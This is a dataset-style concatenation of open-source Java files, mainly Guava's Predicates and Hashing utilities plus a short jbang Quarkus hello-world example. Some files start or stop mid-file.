return false; } @Override public String toString() { return "Predicates.instanceOf(" + clazz.getName() + ")"; } @J2ktIncompatible private static final long serialVersionUID = 0; } /** * @see Predicates#subtypeOf(Class) */ @J2ktIncompatible @GwtIncompatible // Class.isAssignableFrom private static class SubtypeOfPredicate implements Predicate<Class<?>>, Serializable { private final Class<?> clazz; private SubtypeOfPredicate(Class<?> clazz) { this.clazz = checkNotNull(clazz); } @Override public boolean apply(Class<?> input) { return clazz.isAssignableFrom(input); } @Override public int hashCode() { return clazz.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof SubtypeOfPredicate) { SubtypeOfPredicate that = (SubtypeOfPredicate) obj; return clazz == that.clazz; } return false; } @Override public String toString() { return "Predicates.subtypeOf(" + clazz.getName() + ")"; } private static final long serialVersionUID = 0; } /** @see Predicates#in(Collection) */ private static class InPredicate<T extends @Nullable Object> implements Predicate<T>, Serializable { private final Collection<?> target; private InPredicate(Collection<?> target) { this.target = checkNotNull(target); } @Override public boolean apply(@ParametricNullness T t) { try { return target.contains(t); } catch (NullPointerException | ClassCastException e) { return false; } } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof InPredicate) { InPredicate<?> that = (InPredicate<?>) obj; return target.equals(that.target); } return false; } @Override public int hashCode() { return target.hashCode(); } @Override public String toString() { return "Predicates.in(" + target + ")"; } private static final long serialVersionUID = 0; } /** @see Predicates#compose(Predicate, Function) */ private static class CompositionPredicate<A extends @Nullable Object, B extends @Nullable Object> implements Predicate<A>, Serializable { final Predicate<B> p; final Function<A, ? extends B> f; private CompositionPredicate(Predicate<B> p, Function<A, ? extends B> f) { this.p = checkNotNull(p); this.f = checkNotNull(f); } @Override public boolean apply(@ParametricNullness A a) { return p.apply(f.apply(a)); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof CompositionPredicate) { CompositionPredicate<?, ?> that = (CompositionPredicate<?, ?>) obj; return f.equals(that.f) && p.equals(that.p); } return false; } @Override public int hashCode() { return f.hashCode() ^ p.hashCode(); } @Override public String toString() { // TODO(cpovirk): maybe make this look like the method call does ("Predicates.compose(...)") return p + "(" + f + ")"; } private static final long serialVersionUID = 0; } /** * @see Predicates#contains(Pattern) */ @GwtIncompatible // Only used by other GWT-incompatible code. private static class ContainsPatternPredicate implements Predicate<CharSequence>, Serializable { final CommonPattern pattern; ContainsPatternPredicate(CommonPattern pattern) { this.pattern = checkNotNull(pattern); } @Override public boolean apply(CharSequence t) { return pattern.matcher(t).find(); } @Override public int hashCode() { // Pattern uses Object.hashCode, so we have to reach // inside to build a hashCode consistent with equals. return Objects.hashCode(pattern.pattern(), pattern.flags()); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof ContainsPatternPredicate) { ContainsPatternPredicate that = (ContainsPatternPredicate) obj; // Pattern uses Object (identity) equality, so we have to reach // inside to compare individual fields. return Objects.equal(pattern.pattern(), that.pattern.pattern()) && pattern.flags() == that.pattern.flags(); } return false; } @Override public String toString() { String patternString = MoreObjects.toStringHelper(pattern) .add("pattern", pattern.pattern()) .add("pattern.flags", pattern.flags()) .toString(); return "Predicates.contains(" + patternString + ")"; } private static final long serialVersionUID = 0; } /** * @see Predicates#containsPattern(String) */ @GwtIncompatible // Only used by other GWT-incompatible code. private static class ContainsPatternFromStringPredicate extends ContainsPatternPredicate { ContainsPatternFromStringPredicate(String string) { super(Platform.compilePattern(string)); } @Override public String toString() { return "Predicates.containsPattern(" + pattern.pattern() + ")"; } private static final long serialVersionUID = 0; } private static <T extends @Nullable Object> List<Predicate<? super T>> asList( Predicate<? super T> first, Predicate<? super T> second) { // TODO(kevinb): understand why we still get a warning despite @SafeVarargs! return Arrays.<Predicate<? super T>>asList(first, second); } private static <T> List<T> defensiveCopy(T... array) { return defensiveCopy(Arrays.asList(array)); } static <T> List<T> defensiveCopy(Iterable<T> iterable) { ArrayList<T> list = new ArrayList<>(); for (T element : iterable) { list.add(checkNotNull(element)); } return list; } }
google/guava
android/guava/src/com/google/common/base/Predicates.java
333
///usr/bin/env jbang "$0" "$@" ; exit $? // Update the Quarkus version to what you want here or run jbang with // `-Dquarkus.version=<version>` to override it. //DEPS io.quarkus:quarkus-bom:${quarkus.version:2.4.0.Final}@pom //DEPS io.quarkus:quarkus-resteasy //JAVAC_OPTIONS -parameters //FILES META-INF/resources/index.html=index.html import javax.enterprise.context.ApplicationScoped; import javax.ws.rs.GET; import javax.ws.rs.Path; @Path("/hello") @ApplicationScoped public class jbangquarkus { @GET public String sayHello() { return "Hello from Quarkus with jbang.dev"; } }
eugenp/tutorials
jbang/jbangquarkus.java
334
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.hash; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Throwables.throwIfUnchecked; import static java.lang.invoke.MethodType.methodType; import com.google.errorprone.annotations.Immutable; import com.google.j2objc.annotations.J2ObjCIncompatible; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.security.Key; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.zip.Adler32; import java.util.zip.CRC32; import java.util.zip.Checksum; import javax.annotation.CheckForNull; import javax.crypto.spec.SecretKeySpec; /** * Static methods to obtain {@link HashFunction} instances, and other static hashing-related * utilities. * * <p>A comparison of the various hash functions can be found <a * href="http://goo.gl/jS7HH">here</a>. * * @author Kevin Bourrillion * @author Dimitris Andreou * @author Kurt Alfred Kluever * @since 11.0 */ @ElementTypesAreNonnullByDefault public final class Hashing { /** * Returns a general-purpose, <b>temporary-use</b>, non-cryptographic hash function. The algorithm * the returned function implements is unspecified and subject to change without notice. * * <p><b>Warning:</b> a new random seed for these functions is chosen each time the {@code * Hashing} class is loaded. <b>Do not use this method</b> if hash codes may escape the current * process in any way, for example being sent over RPC, or saved to disk. For a general-purpose, * non-cryptographic hash function that will never change behavior, we suggest {@link * #murmur3_128}. * * <p>Repeated calls to this method on the same loaded {@code Hashing} class, using the same value * for {@code minimumBits}, will return identically-behaving {@link HashFunction} instances. * * @param minimumBits a positive integer. This can be arbitrarily large. The returned {@link * HashFunction} instance may use memory proportional to this integer. * @return a hash function, described above, that produces hash codes of length {@code * minimumBits} or greater */ public static HashFunction goodFastHash(int minimumBits) { int bits = checkPositiveAndMakeMultipleOf32(minimumBits); if (bits == 32) { return Murmur3_32HashFunction.GOOD_FAST_HASH_32; } if (bits <= 128) { return Murmur3_128HashFunction.GOOD_FAST_HASH_128; } // Otherwise, join together some 128-bit murmur3s int hashFunctionsNeeded = (bits + 127) / 128; HashFunction[] hashFunctions = new HashFunction[hashFunctionsNeeded]; hashFunctions[0] = Murmur3_128HashFunction.GOOD_FAST_HASH_128; int seed = GOOD_FAST_HASH_SEED; for (int i = 1; i < hashFunctionsNeeded; i++) { seed += 1500450271; // a prime; shouldn't matter hashFunctions[i] = murmur3_128(seed); } return new ConcatenatedHashFunction(hashFunctions); } /** * Used to randomize {@link #goodFastHash} instances, so that programs which persist anything * dependent on the hash codes they produce will fail sooner. */ @SuppressWarnings("GoodTime") // reading system time without TimeSource static final int GOOD_FAST_HASH_SEED = (int) System.currentTimeMillis(); /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value, <b>with a known * bug</b> as described in the deprecation text. * * <p>The C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A), which however does not * have the bug. * * @deprecated This implementation produces incorrect hash values from the {@link * HashFunction#hashString} method if the string contains non-BMP characters. Use {@link * #murmur3_32_fixed(int)} instead. */ @Deprecated public static HashFunction murmur3_32(int seed) { return new Murmur3_32HashFunction(seed, /* supplementaryPlaneFix= */ false); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value, <b>with a known * bug</b> as described in the deprecation text. * * <p>The C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A), which however does not * have the bug. * * @deprecated This implementation produces incorrect hash values from the {@link * HashFunction#hashString} method if the string contains non-BMP characters. Use {@link * #murmur3_32_fixed()} instead. */ @Deprecated public static HashFunction murmur3_32() { return Murmur3_32HashFunction.MURMUR3_32; } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using the given seed value. * * <p>The exact C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A). * * <p>This method is called {@code murmur3_32_fixed} because it fixes a bug in the {@code * HashFunction} returned by the original {@code murmur3_32} method. * * @since 31.0 */ public static HashFunction murmur3_32_fixed(int seed) { return new Murmur3_32HashFunction(seed, /* supplementaryPlaneFix= */ true); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">32-bit murmur3 * algorithm, x86 variant</a> (little-endian variant), using a seed value of zero. * * <p>The exact C++ equivalent is the MurmurHash3_x86_32 function (Murmur3A). * * <p>This method is called {@code murmur3_32_fixed} because it fixes a bug in the {@code * HashFunction} returned by the original {@code murmur3_32} method. * * @since 31.0 */ public static HashFunction murmur3_32_fixed() { return Murmur3_32HashFunction.MURMUR3_32_FIXED; } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">128-bit murmur3 * algorithm, x64 variant</a> (little-endian variant), using the given seed value. * * <p>The exact C++ equivalent is the MurmurHash3_x64_128 function (Murmur3F). */ public static HashFunction murmur3_128(int seed) { return new Murmur3_128HashFunction(seed); } /** * Returns a hash function implementing the <a * href="https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp">128-bit murmur3 * algorithm, x64 variant</a> (little-endian variant), using a seed value of zero. * * <p>The exact C++ equivalent is the MurmurHash3_x64_128 function (Murmur3F). */ public static HashFunction murmur3_128() { return Murmur3_128HashFunction.MURMUR3_128; } /** * Returns a hash function implementing the <a href="https://131002.net/siphash/">64-bit * SipHash-2-4 algorithm</a> using a seed value of {@code k = 00 01 02 ...}. * * @since 15.0 */ public static HashFunction sipHash24() { return SipHashFunction.SIP_HASH_24; } /** * Returns a hash function implementing the <a href="https://131002.net/siphash/">64-bit * SipHash-2-4 algorithm</a> using the given seed. * * @since 15.0 */ public static HashFunction sipHash24(long k0, long k1) { return new SipHashFunction(2, 4, k0, k1); } /** * Returns a hash function implementing the MD5 hash algorithm (128 hash bits). * * @deprecated If you must interoperate with a system that requires MD5, then use this method, * despite its deprecation. But if you can choose your hash function, avoid MD5, which is * neither fast nor secure. As of January 2017, we suggest: * <ul> * <li>For security: * {@link Hashing#sha256} or a higher-level API. * <li>For speed: {@link Hashing#goodFastHash}, though see its docs for caveats. * </ul> */ @Deprecated public static HashFunction md5() { return Md5Holder.MD5; } private static class Md5Holder { static final HashFunction MD5 = new MessageDigestHashFunction("MD5", "Hashing.md5()"); } /** * Returns a hash function implementing the SHA-1 algorithm (160 hash bits). * * @deprecated If you must interoperate with a system that requires SHA-1, then use this method, * despite its deprecation. But if you can choose your hash function, avoid SHA-1, which is * neither fast nor secure. As of January 2017, we suggest: * <ul> * <li>For security: * {@link Hashing#sha256} or a higher-level API. * <li>For speed: {@link Hashing#goodFastHash}, though see its docs for caveats. * </ul> */ @Deprecated public static HashFunction sha1() { return Sha1Holder.SHA_1; } private static class Sha1Holder { static final HashFunction SHA_1 = new MessageDigestHashFunction("SHA-1", "Hashing.sha1()"); } /** Returns a hash function implementing the SHA-256 algorithm (256 hash bits). */ public static HashFunction sha256() { return Sha256Holder.SHA_256; } private static class Sha256Holder { static final HashFunction SHA_256 = new MessageDigestHashFunction("SHA-256", "Hashing.sha256()"); } /** * Returns a hash function implementing the SHA-384 algorithm (384 hash bits). * * @since 19.0 */ public static HashFunction sha384() { return Sha384Holder.SHA_384; } private static class Sha384Holder { static final HashFunction SHA_384 = new MessageDigestHashFunction("SHA-384", "Hashing.sha384()"); } /** Returns a hash function implementing the SHA-512 algorithm (512 hash bits). */ public static HashFunction sha512() { return Sha512Holder.SHA_512; } private static class Sha512Holder { static final HashFunction SHA_512 = new MessageDigestHashFunction("SHA-512", "Hashing.sha512()"); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * MD5 (128 hash bits) hash function and the given secret key. * * <p>If you are designing a new system that needs HMAC, prefer {@link #hmacSha256} or other * future-proof algorithms <a * href="https://datatracker.ietf.org/doc/html/rfc6151#section-2.3">over {@code hmacMd5}</a>. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacMd5(Key key) { return new MacHashFunction("HmacMD5", key, hmacToString("hmacMd5", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * MD5 (128 hash bits) hash function and a {@link SecretKeySpec} created from the given byte array * and the MD5 algorithm. * * <p>If you are designing a new system that needs HMAC, prefer {@link #hmacSha256} or other * future-proof algorithms <a * href="https://datatracker.ietf.org/doc/html/rfc6151#section-2.3">over {@code hmacMd5}</a>. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacMd5(byte[] key) { return hmacMd5(new SecretKeySpec(checkNotNull(key), "HmacMD5")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-1 (160 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha1(Key key) { return new MacHashFunction("HmacSHA1", key, hmacToString("hmacSha1", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-1 (160 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-1 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha1(byte[] key) { return hmacSha1(new SecretKeySpec(checkNotNull(key), "HmacSHA1")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-256 (256 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha256(Key key) { return new MacHashFunction("HmacSHA256", key, hmacToString("hmacSha256", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-256 (256 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-256 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha256(byte[] key) { return hmacSha256(new SecretKeySpec(checkNotNull(key), "HmacSHA256")); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-512 (512 hash bits) hash function and the given secret key. * * @param key the secret key * @throws IllegalArgumentException if the given key is inappropriate for initializing this MAC * @since 20.0 */ public static HashFunction hmacSha512(Key key) { return new MacHashFunction("HmacSHA512", key, hmacToString("hmacSha512", key)); } /** * Returns a hash function implementing the Message Authentication Code (MAC) algorithm, using the * SHA-512 (512 hash bits) hash function and a {@link SecretKeySpec} created from the given byte * array and the SHA-512 algorithm. * * @param key the key material of the secret key * @since 20.0 */ public static HashFunction hmacSha512(byte[] key) { return hmacSha512(new SecretKeySpec(checkNotNull(key), "HmacSHA512")); } private static String hmacToString(String methodName, Key key) { return "Hashing." + methodName + "(Key[algorithm=" + key.getAlgorithm() + ", format=" + key.getFormat() + "])"; } /** * Returns a hash function implementing the CRC32C checksum algorithm (32 hash bits) as described * by RFC 3720, Section 12.1. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 18.0 */ public static HashFunction crc32c() { return Crc32CSupplier.HASH_FUNCTION; } @Immutable private enum Crc32CSupplier implements ImmutableSupplier<HashFunction> { @J2ObjCIncompatible JAVA_UTIL_ZIP { @Override public HashFunction get() { return ChecksumType.CRC_32C.hashFunction; } }, ABSTRACT_HASH_FUNCTION { @Override public HashFunction get() { return Crc32cHashFunction.CRC_32_C; } }; static final HashFunction HASH_FUNCTION = pickFunction().get(); private static Crc32CSupplier pickFunction() { Crc32CSupplier[] functions = values(); if (functions.length == 1) { // We're running under J2ObjC. return functions[0]; } // We can't refer to JAVA_UTIL_ZIP directly at compile time because of J2ObjC. Crc32CSupplier javaUtilZip = functions[0]; try { Class.forName("java.util.zip.CRC32C"); return javaUtilZip; } catch (ClassNotFoundException runningUnderJava8) { return ABSTRACT_HASH_FUNCTION; } } } /** * Returns a hash function implementing the CRC-32 checksum algorithm (32 hash bits). * * <p>To get the {@code long} value equivalent to {@link Checksum#getValue()} for a {@code * HashCode} produced by this function, use {@link HashCode#padToLong()}. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 14.0 */ public static HashFunction crc32() { return ChecksumType.CRC_32.hashFunction; } /** * Returns a hash function implementing the Adler-32 checksum algorithm (32 hash bits). * * <p>To get the {@code long} value equivalent to {@link Checksum#getValue()} for a {@code * HashCode} produced by this function, use {@link HashCode#padToLong()}. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Checksum">checksum</a> rather than a true <a * href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 14.0 */ public static HashFunction adler32() { return ChecksumType.ADLER_32.hashFunction; } @Immutable enum ChecksumType implements ImmutableSupplier<Checksum> { CRC_32("Hashing.crc32()") { @Override public Checksum get() { return new CRC32(); } }, @J2ObjCIncompatible CRC_32C("Hashing.crc32c()") { @Override public Checksum get() { return Crc32cMethodHandles.newCrc32c(); } }, ADLER_32("Hashing.adler32()") { @Override public Checksum get() { return new Adler32(); } }; public final HashFunction hashFunction; ChecksumType(String toString) { this.hashFunction = new ChecksumHashFunction(this, 32, toString); } } @J2ObjCIncompatible @SuppressWarnings("unused") private static final class Crc32cMethodHandles { private static final MethodHandle CONSTRUCTOR = crc32cConstructor(); @IgnoreJRERequirement // https://github.com/mojohaus/animal-sniffer/issues/67 static Checksum newCrc32c() { try { return (Checksum) CONSTRUCTOR.invokeExact(); } catch (Throwable e) { throwIfUnchecked(e); // That constructor has no `throws` clause. throw newLinkageError(e); } } private static MethodHandle crc32cConstructor() { try { Class<?> clazz = Class.forName("java.util.zip.CRC32C"); /* * We can't cast to CRC32C at the call site because we support building with Java 8 * (https://github.com/google/guava/issues/6549). So we have to use asType() to change from * CRC32C to Checksum. This may carry some performance cost * (https://stackoverflow.com/a/22321671/28465), but I'd have to benchmark more carefully to * even detect it. */ return MethodHandles.lookup() .findConstructor(clazz, methodType(void.class)) .asType(methodType(Checksum.class)); } catch (ClassNotFoundException e) { // We check that the class is available before calling this method. throw new AssertionError(e); } catch (IllegalAccessException e) { // That API is public. throw newLinkageError(e); } catch (NoSuchMethodException e) { // That constructor exists. throw newLinkageError(e); } } private static LinkageError newLinkageError(Throwable cause) { return new LinkageError(cause.toString(), cause); } } /** * Returns a hash function implementing FarmHash's Fingerprint64, an open-source algorithm. * * <p>This is designed for generating persistent fingerprints of strings. It isn't * cryptographically secure, but it produces a high-quality hash with fewer collisions than some * alternatives we've used in the past. * * <p>FarmHash fingerprints are encoded by {@link HashCode#asBytes} in little-endian order. This * means {@link HashCode#asLong} is guaranteed to return the same value that * farmhash::Fingerprint64() would for the same input (when compared using {@link * com.google.common.primitives.UnsignedLongs}'s encoding of 64-bit unsigned numbers). * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Fingerprint_(computing)">fingerprint</a> rather than a true * <a href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 20.0 */ public static HashFunction farmHashFingerprint64() { return FarmHashFingerprint64.FARMHASH_FINGERPRINT_64; } /** * Returns a hash function implementing the Fingerprint2011 hashing function (64 hash bits). * * <p>This is designed for generating persistent fingerprints of strings. It isn't * cryptographically secure, but it produces a high-quality hash with few collisions. Fingerprints * generated using this are byte-wise identical to those created using the C++ version, but note * that this uses unsigned integers (see {@link com.google.common.primitives.UnsignedInts}). * Comparisons between the two should take this into account. * * <p>Fingerprint2011() is a form of Murmur2 on strings up to 32 bytes and a form of CityHash for * longer strings. It could have been one or the other throughout. The main advantage of the * combination is that CityHash has a bunch of special cases for short strings that don't need to * be replicated here. The result will never be 0 or 1. * * <p>This function is best understood as a <a * href="https://en.wikipedia.org/wiki/Fingerprint_(computing)">fingerprint</a> rather than a true * <a href="https://en.wikipedia.org/wiki/Hash_function">hash function</a>. * * @since 31.1 */ public static HashFunction fingerprint2011() { return Fingerprint2011.FINGERPRINT_2011; } /** * Assigns to {@code hashCode} a "bucket" in the range {@code [0, buckets)}, in a uniform manner * that minimizes the need for remapping as {@code buckets} grows. That is, {@code * consistentHash(h, n)} equals: * * <ul> * <li>{@code n - 1}, with approximate probability {@code 1/n} * <li>{@code consistentHash(h, n - 1)}, otherwise (probability {@code 1 - 1/n}) * </ul> * * <p>This method is suitable for the common use case of dividing work among buckets that meet the * following conditions: * * <ul> * <li>You want to assign the same fraction of inputs to each bucket. * <li>When you reduce the number of buckets, you can accept that the most recently added * buckets will be removed first. More concretely, if you are dividing traffic among tasks, * you can decrease the number of tasks from 15 and 10, killing off the final 5 tasks, and * {@code consistentHash} will handle it. If, however, you are dividing traffic among * servers {@code alpha}, {@code bravo}, and {@code charlie} and you occasionally need to * take each of the servers offline, {@code consistentHash} will be a poor fit: It provides * no way for you to specify which of the three buckets is disappearing. Thus, if your * buckets change from {@code [alpha, bravo, charlie]} to {@code [bravo, charlie]}, it will * assign all the old {@code alpha} traffic to {@code bravo} and all the old {@code bravo} * traffic to {@code charlie}, rather than letting {@code bravo} keep its traffic. * </ul> * * <p>See the <a href="http://en.wikipedia.org/wiki/Consistent_hashing">Wikipedia article on * consistent hashing</a> for more information. */ public static int consistentHash(HashCode hashCode, int buckets) { return consistentHash(hashCode.padToLong(), buckets); } /** * Assigns to {@code input} a "bucket" in the range {@code [0, buckets)}, in a uniform manner that * minimizes the need for remapping as {@code buckets} grows. That is, {@code consistentHash(h, * n)} equals: * * <ul> * <li>{@code n - 1}, with approximate probability {@code 1/n} * <li>{@code consistentHash(h, n - 1)}, otherwise (probability {@code 1 - 1/n}) * </ul> * * <p>This method is suitable for the common use case of dividing work among buckets that meet the * following conditions: * * <ul> * <li>You want to assign the same fraction of inputs to each bucket. * <li>When you reduce the number of buckets, you can accept that the most recently added * buckets will be removed first. More concretely, if you are dividing traffic among tasks, * you can decrease the number of tasks from 15 and 10, killing off the final 5 tasks, and * {@code consistentHash} will handle it. If, however, you are dividing traffic among * servers {@code alpha}, {@code bravo}, and {@code charlie} and you occasionally need to * take each of the servers offline, {@code consistentHash} will be a poor fit: It provides * no way for you to specify which of the three buckets is disappearing. Thus, if your * buckets change from {@code [alpha, bravo, charlie]} to {@code [bravo, charlie]}, it will * assign all the old {@code alpha} traffic to {@code bravo} and all the old {@code bravo} * traffic to {@code charlie}, rather than letting {@code bravo} keep its traffic. * </ul> * * <p>See the <a href="http://en.wikipedia.org/wiki/Consistent_hashing">Wikipedia article on * consistent hashing</a> for more information. */ public static int consistentHash(long input, int buckets) { checkArgument(buckets > 0, "buckets must be positive: %s", buckets); LinearCongruentialGenerator generator = new LinearCongruentialGenerator(input); int candidate = 0; int next; // Jump from bucket to bucket until we go out of range while (true) { next = (int) ((candidate + 1) / generator.nextDouble()); if (next >= 0 && next < buckets) { candidate = next; } else { return candidate; } } } /** * Returns a hash code, having the same bit length as each of the input hash codes, that combines * the information of these hash codes in an ordered fashion. That is, whenever two equal hash * codes are produced by two calls to this method, it is <i>as likely as possible</i> that each * was computed from the <i>same</i> input hash codes in the <i>same</i> order. * * @throws IllegalArgumentException if {@code hashCodes} is empty, or the hash codes do not all * have the same bit length */ public static HashCode combineOrdered(Iterable<HashCode> hashCodes) { Iterator<HashCode> iterator = hashCodes.iterator(); checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine."); int bits = iterator.next().bits(); byte[] resultBytes = new byte[bits / 8]; for (HashCode hashCode : hashCodes) { byte[] nextBytes = hashCode.asBytes(); checkArgument( nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length."); for (int i = 0; i < nextBytes.length; i++) { resultBytes[i] = (byte) (resultBytes[i] * 37 ^ nextBytes[i]); } } return HashCode.fromBytesNoCopy(resultBytes); } /** * Returns a hash code, having the same bit length as each of the input hash codes, that combines * the information of these hash codes in an unordered fashion. That is, whenever two equal hash * codes are produced by two calls to this method, it is <i>as likely as possible</i> that each * was computed from the <i>same</i> input hash codes in <i>some</i> order. * * @throws IllegalArgumentException if {@code hashCodes} is empty, or the hash codes do not all * have the same bit length */ public static HashCode combineUnordered(Iterable<HashCode> hashCodes) { Iterator<HashCode> iterator = hashCodes.iterator(); checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine."); byte[] resultBytes = new byte[iterator.next().bits() / 8]; for (HashCode hashCode : hashCodes) { byte[] nextBytes = hashCode.asBytes(); checkArgument( nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length."); for (int i = 0; i < nextBytes.length; i++) { resultBytes[i] += nextBytes[i]; } } return HashCode.fromBytesNoCopy(resultBytes); } /** Checks that the passed argument is positive, and ceils it to a multiple of 32. */ static int checkPositiveAndMakeMultipleOf32(int bits) { checkArgument(bits > 0, "Number of bits must be positive"); return (bits + 31) & ~31; } /** * Returns a hash function which computes its hash code by concatenating the hash codes of the * underlying hash functions together. This can be useful if you need to generate hash codes of a * specific length. * * <p>For example, if you need 1024-bit hash codes, you could join two {@link Hashing#sha512} hash * functions together: {@code Hashing.concatenating(Hashing.sha512(), Hashing.sha512())}. * * @since 19.0 */ public static HashFunction concatenating( HashFunction first, HashFunction second, HashFunction... rest) { // We can't use Lists.asList() here because there's no hash->collect dependency List<HashFunction> list = new ArrayList<>(); list.add(first); list.add(second); Collections.addAll(list, rest); return new ConcatenatedHashFunction(list.toArray(new HashFunction[0])); } /** * Returns a hash function which computes its hash code by concatenating the hash codes of the * underlying hash functions together. This can be useful if you need to generate hash codes of a * specific length. * * <p>For example, if you need 1024-bit hash codes, you could join two {@link Hashing#sha512} hash * functions together: {@code Hashing.concatenating(Hashing.sha512(), Hashing.sha512())}. * * @since 19.0 */ public static HashFunction concatenating(Iterable<HashFunction> hashFunctions) { checkNotNull(hashFunctions); // We can't use Iterables.toArray() here because there's no hash->collect dependency List<HashFunction> list = new ArrayList<>(); for (HashFunction hashFunction : hashFunctions) { list.add(hashFunction); } checkArgument(!list.isEmpty(), "number of hash functions (%s) must be > 0", list.size()); return new ConcatenatedHashFunction(list.toArray(new HashFunction[0])); } private static final class ConcatenatedHashFunction extends AbstractCompositeHashFunction { private ConcatenatedHashFunction(HashFunction... functions) { super(functions); for (HashFunction function : functions) { checkArgument( function.bits() % 8 == 0, "the number of bits (%s) in hashFunction (%s) must be divisible by 8", function.bits(), function); } } @Override HashCode makeHash(Hasher[] hashers) { byte[] bytes = new byte[bits() / 8]; int i = 0; for (Hasher hasher : hashers) { HashCode newHash = hasher.hash(); i += newHash.writeBytesTo(bytes, i, newHash.bits() / 8); } return HashCode.fromBytesNoCopy(bytes); } @Override public int bits() { int bitSum = 0; for (HashFunction function : functions) { bitSum += function.bits(); } return bitSum; } @Override public boolean equals(@CheckForNull Object object) { if (object instanceof ConcatenatedHashFunction) { ConcatenatedHashFunction other = (ConcatenatedHashFunction) object; return Arrays.equals(functions, other.functions); } return false; } @Override public int hashCode() { return Arrays.hashCode(functions); } } /** * Linear CongruentialGenerator to use for consistent hashing. See * http://en.wikipedia.org/wiki/Linear_congruential_generator */ private static final class LinearCongruentialGenerator { private long state; public LinearCongruentialGenerator(long seed) { this.state = seed; } public double nextDouble() { state = 2862933555777941757L * state + 1; return ((double) ((int) (state >>> 33) + 1)) / 0x1.0p31; } } private Hashing() {} }
google/guava
guava/src/com/google/common/hash/Hashing.java
335
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.primitives; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkElementIndex; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkPositionIndexes; import static com.google.common.base.Strings.lenientFormat; import static java.lang.Double.NEGATIVE_INFINITY; import static java.lang.Double.POSITIVE_INFINITY; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.base.Converter; import java.io.Serializable; import java.util.AbstractList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.RandomAccess; import java.util.Spliterator; import java.util.Spliterators; import javax.annotation.CheckForNull; /** * Static utility methods pertaining to {@code double} primitives, that are not already found in * either {@link Double} or {@link Arrays}. * * <p>See the Guava User Guide article on <a * href="https://github.com/google/guava/wiki/PrimitivesExplained">primitive utilities</a>. * * @author Kevin Bourrillion * @since 1.0 */ 